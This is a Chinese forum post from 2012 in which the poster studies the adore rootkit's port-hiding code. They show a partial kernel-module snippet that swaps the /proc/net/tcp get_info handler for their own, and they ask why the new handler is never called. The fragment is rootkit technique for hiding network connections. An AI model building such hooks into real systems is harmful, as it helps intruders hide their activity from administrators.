- 论坛徽章:
- 0
|
本帖最后由 natsk2012 于 2012-03-05 00:27 编辑
最近在学习adore的代码 其中关于端口隐藏的部分 有一个问题
我的实现如下。
static int (*o_get_info_tcp)(char *, char **, off_t, int);
int n_get_info_tcp(char *page, char **start, off_t pos, int count)
{
...
}
struct proc_dir_entry *proc_find_tcp(void)
{
struct proc_dir_entry *p = proc_net->subdir;
while (strcmp(p->name, "tcp"))
{
p = p->next;
}
return p;
}
static int __init incode_init( void ){
struct proc_dir_entry *pde = NULL;
pde = proc_find_tcp();
o_get_info_tcp = pde->get_info;
pde->get_info = n_get_info_tcp;
return 0;
}
而在实际运行的过程中 n_get_info_tcp根本就没有被调用 |
|